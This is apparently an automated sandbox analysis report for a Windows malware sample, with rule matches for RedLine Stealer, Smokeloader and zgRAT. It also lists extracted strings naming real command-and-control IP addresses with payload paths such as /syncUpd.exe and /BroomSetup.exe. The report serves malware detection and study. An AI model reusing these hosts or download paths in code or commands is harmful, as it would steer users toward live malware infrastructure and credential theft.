Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFF85F0	1_2_6BFF85F0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD0DD0	1_2_6BFD0DD0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C00BA90	1_2_6C00BA90
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C002AB0	1_2_6C002AB0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBED10	1_2_6BFBED10
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFC0512	1_2_6BFC0512
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFAFD00	1_2_6BFAFD00
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD6CF0	1_2_6BFD6CF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BF9D4E0	1_2_6BF9D4E0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFBD4D0	1_2_6BFBD4D0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA64C0	1_2_6BFA64C0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFF34A0	1_2_6BFF34A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFFC4A0	1_2_6BFFC4A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA6C80	1_2_6BFA6C80
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFA5440	1_2_6BFA5440
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0053C8	1_2_6C0053C8
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFD5C10	1_2_6BFD5C10
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFE2C10	1_2_6BFE2C10
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C106C00	1_2_6C106C00
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C11AC30	1_2_6C11AC30
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C04AC60	1_2_6C04AC60
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C03ECC0	1_2_6C03ECC0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C09ECD0	1_2_6C09ECD0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C1C8D20	1_2_6C1C8D20
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C16AD50	1_2_6C16AD50
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C10ED70	1_2_6C10ED70
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0D6D90	1_2_6C0D6D90
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C044DB0	1_2_6C044DB0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C1CCDC0	1_2_6C1CCDC0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C120E20	1_2_6C120E20
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0DEE70	1_2_6C0DEE70
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0C6E90	1_2_6C0C6E90
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C04AEC0	1_2_6C04AEC0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0E0EC0	1_2_6C0E0EC0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C046F10	1_2_6C046F10
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C180F20	1_2_6C180F20
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0AEF40	1_2_6C0AEF40
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C102F70	1_2_6C102F70
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C188FB0	1_2_6C188FB0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C04EFB0	1_2_6C04EFB0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C11EFF0	1_2_6C11EFF0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C040FE0	1_2_6C040FE0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C090820	1_2_6C090820
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C0CA820	1_2_6C0CA820
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C114840	1_2_6C114840
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C1468E0	1_2_6C1468E0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C096900	1_2_6C096900
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0101BEAE	2_2_0101BEAE
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01016130	2_2_01016130
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0100B150	2_2_0100B150
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_00FF4060	2_2_00FF4060
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_00FF2120	2_2_00FF2120
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01004390	2_2_01004390
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01010390	2_2_01010390
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0101A200	2_2_0101A200
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01045550	2_2_01045550
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_00FFD570	2_2_00FFD570
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_00FFA6F0	2_2_00FFA6F0
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_00FF37B0	2_2_00FF37B0
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_010496E0	2_2_010496E0
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_010166F0	2_2_010166F0
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0100F840	2_2_0100F840
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01049A00	2_2_01049A00
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0103CAA0	2_2_0103CAA0
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0101FC10	2_2_0101FC10

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: String function: 02E09FB7 appears 48 times
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: String function: 02E2B293 appears 44 times
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: String function: 0042B02C appears 44 times
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: String function: 00409D50 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 00FF14F0 appears 74 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 00FF1930 appears 78 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 00FF1900 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 01179D36 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 01040EC0 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: String function: 00FF1310 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: String function: 6BFCCBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: String function: 6BFD94D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: String function: 004043B0 appears 316 times

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6984 -s 1128

Source: relay.dll.0.dr	Static PE information: Data appended to the last section found
Source: UIxMarketPlugin.dll.0.dr	Static PE information: Data appended to the last section found

Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs H6ohQMZygb.exe
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs H6ohQMZygb.exe
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \OriginalFileName vs H6ohQMZygb.exe
Source: H6ohQMZygb.exe, 00000000.00000003.1697147122.0000000004A8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires( vs H6ohQMZygb.exe
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameL vs H6ohQMZygb.exe

Source: H6ohQMZygb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000001.00000002.2121192347.00000000041DC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, CoreEventSource.cs

Task registration methods: 'MetricManagerCreatedTasks'

Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.CopyGlobalPropertiesIfRequired
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.ProcessOperationStop
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.Process
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.ProcessOperationStart
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.WriteEvent
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, RichPayloadEventSource.cs	Suspicious method names: .RichPayloadEventSource.Dispose
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, HeartbeatDefaultPayload.cs	Suspicious method names: .HeartbeatDefaultPayload.IsDefaultKeyword
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, HeartbeatDefaultPayload.cs	Suspicious method names: .HeartbeatDefaultPayload.PopulateDefaultPayload
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, IHeartbeatDefaultPayloadProvider.cs	Suspicious method names: ..SetDefaultPayload
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, BaseDefaultHeartbeatPropertyProvider.cs	Suspicious method names: .BaseDefaultHeartbeatPropertyProvider.SetDefaultPayload

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/57@12/6

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_6BFF7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6BFF7030

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_0102D660 GetDiskFreeSpaceExW,std::exception::exception,__CxxThrowException@8,

2_2_0102D660

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_02EF8196 CreateToolhelp32Snapshot,Module32First,

0_2_02EF8196

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_01008040 LoadResource,LockResource,SizeofResource,

2_2_01008040

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7156
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Mutant created: \Sessions\1\BaseNamedObjects\Canon_UIW_Inst_v1
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6984

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

File created: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Jump to behavior

Source: Yara match	File source: 4.0.u5e0.3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1825340881.00000000059E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1824422172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe, type: DROPPED

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: one	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: one	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: two	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: two	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: three	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: three	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: four	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: four	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: five	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: five	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: six	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: six	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: seven	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: seven	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: eight	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: eight	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: nine	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: nine	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: ten	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: ten	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: one	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: two	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: three	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: four	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: five	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: six	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: seven	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: eight	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: nine	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: ten	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: Installed	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: Installed	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_00424CD0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: one	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: one	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: two	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: two	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: three	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: three	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: four	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: four	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: five	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: five	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: six	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: six	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: seven	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: seven	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: eight	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: eight	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: nine	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: nine	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: ten	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: ten	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.90	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: Installed	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: Installed	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.59	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /syncUpd.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /1/Package.zip	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: fgh5err456ytf	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: run.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: 185.172.128.228	0_2_02E24F37
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Command line argument: /BroomSetup.exe	0_2_02E24F37

Source: H6ohQMZygb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

